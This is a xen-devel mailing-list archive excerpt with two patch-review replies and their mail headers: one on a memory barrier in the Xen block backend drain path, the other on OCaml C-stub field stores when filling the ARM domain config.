List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1785403547; cv=none;
        d=google.com; s=arc-20260327;
        b=gTACIrtKDLqi163KsaeRggmh2OOPKdtAoFDhmshxL4lAaNsx1I0QoKHug3EyV47/Fx
         GosWM/rNByVojGul0W+RFm8z+ACj1TtIstJFX+KVpBbRrs8eu5LSHk7bCrrh3oG7LuJT
         LgJAvZFnH8SWf+tPH3GEmQBaKQ2U+sEesnVARfeE5hoGfv2/3hBTT0IKjJ1AkCTq8bN+
         MmLZBH2x8SnRzJsn+UESSjWLMXFeOCpqivJqxlNX9ATh/AsLcMR1P6TpmE9x8TfWjwd9
         vjv+Iwz083+dnU0S8bkrJx3CE2DMUOO9nLo9nWogEDH50HkQ3GeWxuc+308cj4horQH5
         LGhw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=F3tmc6Hix679VZeoNLiFv83lH5jhtiL+H1oB5qeNyiE=;
        fh=Hc+ecmrD0kO/VhFp1XRGQOpctwLI7cBucsVHf49gkT8=;
        b=C1RkLbePEBN9LioTuMJwgkRSGoO4LaMMMTZyVJjXOfp/NVrnco8Einp1014Z2U9YZN
         Flnv9tRzH0FLW4OOsRj1nEd4fWHbreoLixDX5lgzQh5IqkFaQrflMeL35EG8Srbu4V6N
         VA0xbjJwOKQcFEZpbwVz2t5GbmYjYUFNjCz8bJS5OSnadJqU6Siu4p9xbwEt1A/XAkbx
         m0iIg0PDP2Ld+UeeHEcRba8V1SffCitk+XhCpHLyAsMG/UMj+J9mqRPM8RA/vA5EKLgb
         n0wU2h/Ad1RpnylnJSgTN2w7GVXZhVXI3Odl52QvP/mpLgsfX//bXrIW845AIClHo9dC
         bG3w==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785403547; x=1786008347; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=F3tmc6Hix679VZeoNLiFv83lH5jhtiL+H1oB5qeNyiE=;
        b=HYlLu0LNhD7MiqJp1N3OojLak1G6YCMvZ+LeTc6Hl5eRxhYOlo3hyCk/sw0pB3L1ij
         UQXfZXlc1Pk/ic7lqhxf7ow7u9gTy943J49c4L/6XTRMHEUfwtdYHXhP4UQfUNqPnSu6
         DQfscXENfsI9eXDXwgiNV3swk1n9kvmg8g1KJTMEF5TPPT2bAa4BmhUcoVBzXlh9Cczw
         gJqfw7lk3TQ/1XT5YOJGOwEHMII9WxhPFwF9KW/DUkG2IOhGJJ4xm9EYnB9C5z8yOtJh
         z3H/QxfKPTycns3OeFCGW5IQHuSF0dt4qe/g2/gKQgC7YKBok+ybLgeCHC9lQPGpMHTt
         IQhg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785403547; x=1786008347;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=F3tmc6Hix679VZeoNLiFv83lH5jhtiL+H1oB5qeNyiE=;
        b=KZBfVEUGSn/lLf4/41s7/R4u4fNay5d2M5wCaNH+JQFzp2fg0FpRua627mV/tI3tpw
         BEF8fAxQqab8KfzXGQY0TkH6F9OmHqQekw+TulY/CwMqN8fposU8DRgSrECOAh7cjUOE
         2Q1biYKW/wCCwiMzxYWwuP8NEz0DJMWTgjn3O3y/UZ8hPxhzdTBIlgYEHnV1LRd87o4r
         mZJCxcaX43511aTnvutStRAY3esQJg4v20DzADFj2UnnkAAys6iNOz5f3oy2a0bOtgxS
         VbmXQN1WJK6RJPKZCHbcySQze1jLuN/d5aIOBsQ1PFgXlpbdFFMcto3NTo+9+G7lA4Na
         lqSQ==
X-Forwarded-Encrypted: i=1; AHgh+RqOq+4btRwgCfwU8ZZu79eNaVK9PFGXHaHEVXP7RnwQDvW/9w0RBAxZVAfBrmmycR3aCvmig6k05eA=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzmAxC+JD8ZbzjRqAQRn2HcLV+yl6XlD/kxKxquatMxtCZbeRya
	B71TAZLpfM1nP7S0KhQ/ue2dpYXfgCs3FgHkf0pmrZ/J9UqwwK487zlW75zmZUNVw+5V5vpKlhs
	3knCwPsEg1pVCvvGvK99EGOqxw1QIb9E=
X-Gm-Gg: AR+sD135NG4uVEnVQjtDLRwad/W4KKr3TdZoUGKQ7EDE6f18IVlbl4iwm2+dhYhzj4C
	6T4UCyR0F1uC3QdyqTwuzGeBJW6xZwAVa3ziHe2bUlOJ4+QjnimBz7jpFkFrlBTpr/8XIsqEFgv
	n9+sL3I25YrKqdRqp3xubb5BBCcVvz0Iwr6RVognJ1rJUGpOfgGXmOsert3jU6Sot3hhGXBR86F
	8iOrp3RPSZ6w+MG3fWYHUA73hz6R1FS/hieQQpR6RumQ4/RKYvqM92vcS7HBi4q21V1bP1qnw+/
	s2bARZvDF42uo05MLoPg14qv1NAIowGd3TJdz1DRgWCFsswIshgkxnggTdsOLf8iWql7d+zqEQ+
	FteLxY0MPYWn5vX01XRoCmchAxp4ciZnon5F/jyamP/b8B5dV+PE1YTc=
X-Received: by 2002:a05:6820:2914:b0:6a3:97c6:f80f with SMTP id
 006d021491bc7-6acbc0962b2mr1103342eaf.44.1785403547526; Thu, 30 Jul 2026
 02:25:47 -0700 (PDT)
MIME-Version: 1.0
References: <20260730084000.3305702-1-hanguidong02@gmail.com> <66fc571d-4e6e-4d2e-973c-2de4789df432@suse.com>
In-Reply-To: <66fc571d-4e6e-4d2e-973c-2de4789df432@suse.com>
From: Gui-Dong Han <hanguidong02@gmail.com>
Date: Thu, 30 Jul 2026 17:25:36 +0800
X-Gm-Features: AUfX_mxfbh1F7INaUWJefxenTBaf3A5IcBk4T84hBt6KJT_lrx3p8U-Fv5F1jbE
Message-ID: <CALbr=Lb2KSqYLg+19opHZJdhTGcuZCAtskxFFyibNBjuyRGUnw@mail.gmail.com>
Subject: Re: [PATCH] xen/blkback: Prevent missed completion when draining I/O
To: Jan Beulich <jbeulich@suse.com>
Cc: axboe@kernel.dk, linux-block@vger.kernel.org, konrad.wilk@oracle.com, 
	linux-kernel@vger.kernel.org, baijiaju1990@gmail.com, roger@xenproject.org, 
	xen-devel@lists.xenproject.org
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-4011c0/1785403549-585CBCFC-E6277AA5/0/0
X-purgate-type: clean
X-purgate-size: 1280

On Thu, Jul 30, 2026 at 4:43=E2=80=AFPM Jan Beulich <jbeulich@suse.com> wro=
te:
>
> On 30.07.2026 10:40, Gui-Dong Han wrote:
> > --- a/drivers/block/xen-blkback/blkback.c
> > +++ b/drivers/block/xen-blkback/blkback.c
> > @@ -1021,6 +1021,13 @@ static void xen_blk_drain_io(struct xen_blkif_ri=
ng *ring)
> >       struct xen_blkif *blkif =3D ring->blkif;
> >
> >       atomic_set(&blkif->drain, 1);
> > +     /*
> > +      * Publish drain before checking inflight. Otherwise,
> > +      * xen_blkbk_unmap_and_respond_callback() can decrement inflight =
with
> > +      * atomic_dec_and_test() and still see drain =3D=3D 0 after this =
path saw
> > +      * inflight > 0, missing the completion.
> > +      */
> > +     smp_mb();
> >       do {
> >               if (atomic_read(&ring->inflight) =3D=3D 0)
> >                       break;
>
> Yet then don't we also need a barrier in xen_blkbk_unmap_and_respond_call=
back()'s
> check? Barriers almost always come in pairs, after all.

The matching barrier is already provided by atomic_dec_and_test(), which
is fully ordered.  It orders the inflight decrement before the following
drain read.

Thus, an additional barrier in
xen_blkbk_unmap_and_respond_callback() would be redundant.

Thanks.


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 09:36:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 09:36:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377369.1623456 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpNBE-0007bJ-HX; Thu, 30 Jul 2026 09:35:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377369.1623456; Thu, 30 Jul 2026 09:35:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpNBE-0007bC-Ep; Thu, 30 Jul 2026 09:35:56 +0000
Received: by outflank-mailman (input) for mailman id 1377369;
 Thu, 30 Jul 2026 09:35:56 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wpNBD-0007b2-T8
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 09:35:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpNBB-005SNd-Dn
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 11:35:53 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6b1af2-2eae-0a2a0a5409dd-0a2a450abd52-16
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 11:35:53 +0200
Received: from [52.101.56.52]
 (helo=BN1PR04CU002.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6b1af8-f2d2-0a2a450a0019-34653834d0d1-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 11:35:53 +0200
Received: from CH8PR03MB8275.namprd03.prod.outlook.com (2603:10b6:610:2b9::7)
 by BL4PR03MB8049.namprd03.prod.outlook.com (2603:10b6:208:590::18)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Thu, 30 Jul
 2026 09:35:50 +0000
Received: from CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37]) by CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37%7]) with mapi id 15.21.0245.012; Thu, 30 Jul 2026
 09:35:49 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=YRu/Py/WKkNnCoXKv0orvD5i/Bfs8gKi8GKAwEG6wJPSQBDwfN9oD3JU75YEl9lNTS2E7LNPPbuqhGnBMBtRN3HU9AkVTsRPp81p667f0pxBogJl9aXBmSx85C21fzqDHMCwolq6WW56PfWGpVXweqAiFKr9uFSNuLBx/mbiwYbF4MRPIHFU1s7P0uuJoLwRQ/zDSQCp/DTHHoSOo5LUM687qPK41JudcZ8ccQjS07LoQKNmZR+jmnViP16YbHkQDsG23s/aM3uVlZicqYnGdu23IqpMwe5I5/6aTQxQCDvIrH2mtInzX11NMgHCqCy0M7AJFDgD48thIHVC1FnWLQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=PXMB2xlutwy0YusPBoRFUDaPN80huiBFLjqYC/f27RI=;
 b=wG9Osfl6vJwfKz5p1896fVlReCCTjGI+xH8VHl4slakJUOEE7OsSRl/RjALsAAUdvCVlbSGoCBqqBtqYGFnBIhcM4TZYvyJUlNOPotQE/qEiJJAn4wDLUxiqHtG6U1Ka/BrxyYG0Pahf1RptukOHGDvCGq/iqLWdUa4Ly3gW2DrTTmPCr33Z+Z2f5QyOYYmWpC4osty0B+RUu8NOLbm2H1mD9bIxTl8CWKitSUgorSxjzM14bbsFplw3OV72thT37hwqqHJ+4VIGoeLfjauW6a5Lyovmh7lzHPRbgt23HGFg5qQbXeuji/YylsF3JH4Q6tY+4B4S5nEp04nT9ltHOQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=PXMB2xlutwy0YusPBoRFUDaPN80huiBFLjqYC/f27RI=;
 b=LEcMchRznHpWMUwCZn9DDWjb9BC90wH8sKENw0AY2WAU+MdhG/ncopS/V4PZ8l6PhShE4BjCixX5Wtj0J8LeUDbS6kxXvLeY5Jm4qXmrCn6ejwdx820DEAnAq9vKJg2IVZtyGw5jDycAzh0atIZ79PHxB/C7gfjfwCDoZbYtQ08=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <dadee869-5ab8-48c3-8eb7-3b760eb6e12a@citrix.com>
Date: Thu, 30 Jul 2026 10:35:46 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH 2/2] tools/ocaml: Fill arch_config for ARM in
 domain_getinfo{,list}()
To: Julian Vetter <julian.vetter@vates.tech>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260728154830.67734-1-andrew.cooper3@citrix.com>
 <20260728154830.67734-3-andrew.cooper3@citrix.com>
 <1785400990.8631fc262581453bbf619ec5b2062170.19fb2311930000e099@vates.tech>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy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XuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <1785400990.8631fc262581453bbf619ec5b2062170.19fb2311930000e099@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P265CA0137.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:2c4::15) To CH8PR03MB8275.namprd03.prod.outlook.com
 (2603:10b6:610:2b9::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8275:EE_|BL4PR03MB8049:EE_
X-MS-Office365-Filtering-Correlation-Id: 49048f3b-a1bd-4c81-3508-08deee1df0ed
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|1800799024|366016|6133799003|56012099006|11063799006|10067099003|4143699003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	+vV1CwJ3fX3tkefWv05FgfZSfw2pvuxpc9rXUDDWUd2VngmtXuWJqTJSWqMk20Fl2ezwyePssuxbaXPMyDAgXMsbgrCdr1kjU7cxO3tNqvkQmvBn0gUoLiC4xwXCMV/7r7MufYGFDLylsKON4O/Oc+Qdb0R+sZSyxRfBdLeKeNVOFuPaGD2DGMdmv1TP2kLeJkq/cFp5UhsQUUxvUjLdgHEMm3+XjK1c/17SEGbcMl7407ey936PJMPPOT5bnuSbxK8z5pXe3lLpo5vX/d7HG2a8wq5tAwvl7LUS0lpWEBi4KY6rowSD6qkPBOFTmhVN6I24PgMVFt600aF6GRX3ANDqiQAc+feDpAwzr45/VXkE2Tec1KjGLRTGfQ30UZ3wNkr1L6O0pIighK+7jEhuyoEswSNCods2DRuGdpGH2x/p15kSf0FiIoJZviPjmxixI3fi4958qv/+ZBdpORO/azBlomxJX+uyyUzkpuYa8zYJO1ddkvL2fpHtcZBrMi6x1wg+VkVMmk8PGsHrL+6LDp+Sa7Fe9TkYlMfolcsERzNcTdwQ12tz9rxBObC/8PkF/CRxuPj/DQei/RQRfJyYOuwc7mXMfcIg4Wvz4uV5oBLcin+myfo0jsr3ZvUtZJ3yBQ2tvn3AGGpvJwzhHFEHf0UdKgjW1HUaXHNUKenZaWs=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8275.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(1800799024)(366016)(6133799003)(56012099006)(11063799006)(10067099003)(4143699003)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?MEN0ZkFTV1QrZUtMcGd5YWdsM3psT0k4dGllRlF5cElnemVncGdSV04rY1l2?=
 =?utf-8?B?TTJGR0ZJWXhnbGFRdll1TE9pMkZmOUVMRFdmWEZLcFMwZzcya3dqVlh5NlAy?=
 =?utf-8?B?bWUvczYxclgwMGpSdU9tYWxCa2UreGpnbG9WdCtwZyt5ZFdMZVBEWm9YV2lH?=
 =?utf-8?B?SmhNYTNGa0hYK2I4WkhMYlJhM1hNeUd6eWZmTlM5bk1leng2bW1SbnlZdlBk?=
 =?utf-8?B?V21XS0ZlaDRPejlRUHFONlNXTzA5WW1CNVFZWGRYZUU3MVRsNzllRTR5OWdH?=
 =?utf-8?B?VXU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JqcWxTR29RSXoxTWI5Yy90?=
 =?utf-8?B?RE9PVXZuc3lQQVBZTGovSVRJdDlnUDJkbmtjZWg1QnVhZ1UyTWdiWjhZcEhE?=
 =?utf-8?B?MG1UcVhxRVdaaUtqUTE1NGQ4RjBJVjloNW95M3Z0ZkVDSjlNYkJNc0JGTXA3?=
 =?utf-8?B?S1NGdzd3TVVnNzQyZGJ1ZjlhNzQyMjhLakYrbCtBMmpIbldYR2hXV28zMHQz?=
 =?utf-8?B?NFVIUWpSNmhkcHlHczVKZlJaM3IySTVTSDFnQWVEMjBaUk9ZRktQbWJvVVJE?=
 =?utf-8?B?NGZQTllWVXBib1RlVEY2SHQzTzNpVkdVNFRka3oyL1h0T3lsWG9HRlpWVGJQ?=
 =?utf-8?Q?RqjAHCFcnXK8TjXo=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 49048f3b-a1bd-4c81-3508-08deee1df0ed
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8275.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 30 Jul 2026 09:35:49.7385
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: MteuZ6y2iL/pYq4ZIJpkHbCDMZfVmln7d1Gp8wFRZPH1tOZm8IymSOrppm3JzA/KByvFs7l5pVF8KmYmtpoAr+vIVtqFq2rp92wzkc3imr0=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BL4PR03MB8049
X-purgate-ID: tlsNG-4011c0/1785404153-504CFCFC-0C5F6D89/10/73395122804
X-purgate-type: spam
X-purgate-size: 3344

On 30/07/2026 9:43 am, Julian Vetter wrote:
>
> On 7/28/26 17:48, Andrew Cooper wrote:
>> From: Julian Vetter <julian.vetter@vates.tech>
>>
>> Add the missing ARM logic, populating xen_arm_arch_domainconfig
>> from the raw xc_domaininfo_t the same way the x86 branch does for
>> xen_x86_arch_domainconfig.
>>
>> Signed-off-by: Julian Vetter <julian.vetter@vates.tech>
>> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
>> ---
>> CC: Andrew Cooper <andrew.cooper3@citrix.com>
>> CC: Andrii Sultanov <andriy.sultanov@vates.tech>
>> CC: Guillaume Thouvenin <guillaume.thouvenin@vates.tech>
>> CC: Julian Vetter <julian.vetter@vates.tech>
>> CC: Oleksii Kurochko <oleksii.kurochko@gmail.com>
>> ---
>>   tools/ocaml/libs/xc/xenctrl_stubs.c | 16 ++++++++++++++--
>>   1 file changed, 14 insertions(+), 2 deletions(-)
>>
>> diff --git a/tools/ocaml/libs/xc/xenctrl_stubs.c b/tools/ocaml/libs/xc/xenctrl_stubs.c
>> index 441e1d83cfec..fb983709066f 100644
>> --- a/tools/ocaml/libs/xc/xenctrl_stubs.c
>> +++ b/tools/ocaml/libs/xc/xenctrl_stubs.c
>> @@ -444,9 +444,21 @@ static value alloc_domaininfo(xc_domaininfo_t * info)
>>   
>>   	Store_field(result, 15, tmp);
>>   
>> -#if defined(__i386__) || defined(__x86_64__)
>> +#if defined(__arm__) || defined(__aarch64__)
>>   
>> -	tag = 1; /* tag x86 */
>> +	tag = 0; /* tag ARM */
>> +
>> +        /* xen_arm_arch_domainconfig */
>> +        arch_config = caml_alloc_tuple(3);
>> +        Field(arch_config, 0) = Val_int(info->arch_config.gic_version);
>> +        Field(arch_config, 1) = Val_int(info->arch_config.nr_spis);
>> +
>> +	tmp = caml_copy_int32(info->arch_config.clock_frequency);
>> +        Field(arch_config, 2) = tmp;
> Shouldn't the Field() be a `Store_field(arch_config, 2, tmp);`, because 
> the `caml_copy_int32` makes an allocation on the minor heap to allow 
> OCAML's GC to keep track of this pointer if ever the arch_config is 
> promoted?

No (ish).Â  The Ocaml/C manual is subtly wrong in it's advice about this.

Using Store_field() would be safe, but it has an obscene overhead for a
scalar store, and caml_modify() does a whole bunch of barriers/atomics
which are not necessary on anything which isn't allocated from
caml_alloc_shr() (which we don't use at all).

The buggy construct is:

Â  Â  Field(foo, bar) = caml_{copy,alloc,etc}(baz);

because C does not provide an ordering between evaluation of the Rvalue
vs the Lvalue.Â  Specifically, if the Lvalue were evaluated prior to the
function call, then indeed we could store into a stale pointer.

But, using tmp in the way we do:

Â  Â  tmp = caml_copy_*(baz);
Â  Â  Field(foo, bar) = tmp;

puts a sequence point after calling caml_copy_*(), and prior to
evaluating Field(), so guarantees to do them in the correct order.

In the Store_field() macro, this occurs by taking (val) into a local
variable, and not because of how it calls caml_modify().


In a perfect world we'd have a Store_field() that arranged for the
intermediate safety without calling caml_modify().

It is also telling that the Ocaml runtime has a total of 15 uses of
Store_field, and we've got more than that in this function alone, let
alone the rest of our bindings.

I do have a cleanup patch for those as well, once we got this bug sorted.

~Andrew


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 09:37:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 09:37:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377378.1623466 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpNCX-00086Z-UG; Thu, 30 Jul 2026 09:37:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377378.1623466; Thu, 30 Jul 2026 09:37:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpNCX-00086S-Qt; Thu, 30 Jul 2026 09:37:17 +0000
Received: by outflank-mailman (input) for mailman id 1377378;
 Thu, 30 Jul 2026 09:37:17 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wpNCX-00086M-6Z
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 09:37:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpNCW-00Acr1-JD
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 11:37:16 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6b1b44-bab6-0a2a0a5309dd-0a2a45049ee4-22
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 11:37:16 +0200
Received: from [40.93.195.10]
 (helo=SN4PR2101CU001.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6b1b4b-b57f-0a2a45040019-285dc30a80dd-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 11:37:16 +0200
Received: from CH8PR03MB8275.namprd03.prod.outlook.com (2603:10b6:610:2b9::7)
 by BL4PR03MB8049.namprd03.prod.outlook.com (2603:10b6:208:590::18)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Thu, 30 Jul
 2026 09:37:13 +0000
Received: from CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37]) by CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37%7]) with mapi id 15.21.0245.012; Thu, 30 Jul 2026
 09:37:13 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
